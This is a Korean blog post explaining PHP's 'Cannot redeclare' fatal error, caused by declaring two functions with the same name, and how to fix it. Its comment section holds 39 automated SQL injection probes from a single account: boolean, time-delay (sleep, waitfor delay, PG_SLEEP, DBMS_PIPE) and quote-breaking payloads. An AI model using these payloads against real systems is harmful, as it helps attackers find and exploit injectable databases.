[PHP] 이름이 같은 함수를 또 선언했을 때 - PHP Fatal error: Cannot redeclare...

PHP Fatal error:  Cannot redeclare my_function() (previously declared in /.../index.php:150) in /.../index.php on line 159

  이름이 같은 함수를 다시 선언하면 위와 같은 오류가 나올 수 있다. 이미 만든 함수 내용을 복사하고 붙여넣기하여 다른 함수를 만들다가 함수 이름을 바꾸는 것을 깜빡하면 이런 오류를 겪을 수 있다.

<?php
...
function my_function() {
...
}

function my_function() {
...
}
...
?>
  둘 가운데 하나의 함수 이름(my_function)을 바꾸면 이 오류를 피할 수 있다.
2023/12/30 13:37 2023/12/30 13:37
글 걸기 주소 : 이 글에는 글을 걸 수 없습니다.

덧글을 달아 주세요

  1. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 2+277-277-1=0+0+0+1 --

  2. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 3+277-277-1=0+0+0+1 --

  3. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+277-277) --

  4. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+277-277) --

  5. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 2+677-677-1=0+0+0+1

  6. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 3+677-677-1=0+0+0+1

  7. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+677-677)

  8. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+677-677)

  9. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 2+178-178-1=0+0+0+1 --

  10. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 3+178-178-1=0+0+0+1 --

  11. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+178-178) --

  12. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+178-178) --

  13. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 2+674-674-1=0+0+0+1 or 'Q0Iw7FJs'='

  14. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 3+674-674-1=0+0+0+1 or 'Q0Iw7FJs'='

  15. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+674-674) or 'Q0Iw7FJs'='

  16. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+674-674) or 'Q0Iw7FJs'='

  17. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1" OR 2+616-616-1=0+0+0+1 --

  18. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1" OR 3+616-616-1=0+0+0+1 --

  19. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1" OR 3*2<(0+5+616-616) --

  20. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    -1" OR 3*2>(0+5+616-616) --

  21. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1*if(now()=sysdate(),sleep(15),0)

  22. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  23. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  24. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  25. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1-1; waitfor delay '0:0:15' --

  26. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1-1); waitfor delay '0:0:15' --

  27. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1-1 waitfor delay '0:0:15' --

  28. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1cgMevMAO'; waitfor delay '0:0:15' --

  29. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1-1 OR 505=(SELECT 505 FROM PG_SLEEP(15))--

  30. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1-1) OR 390=(SELECT 390 FROM PG_SLEEP(15))--

  31. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1-1)) OR 226=(SELECT 226 FROM PG_SLEEP(15))--

  32. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1l0rHNlix' OR 99=(SELECT 99 FROM PG_SLEEP(15))--

  33. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1olmATDCR') OR 300=(SELECT 300 FROM PG_SLEEP(15))--

  34. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1Smkl1XM4')) OR 145=(SELECT 145 FROM PG_SLEEP(15))--

  35. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  36. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  37. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    1'"

  38. fnfOzvSR 2026/04/28 04:40 고유주소 고치기 답하기

    @@JgT9R

  39. fnfOzvSR 2026/04/28 04:41 고유주소 고치기 답하기

    1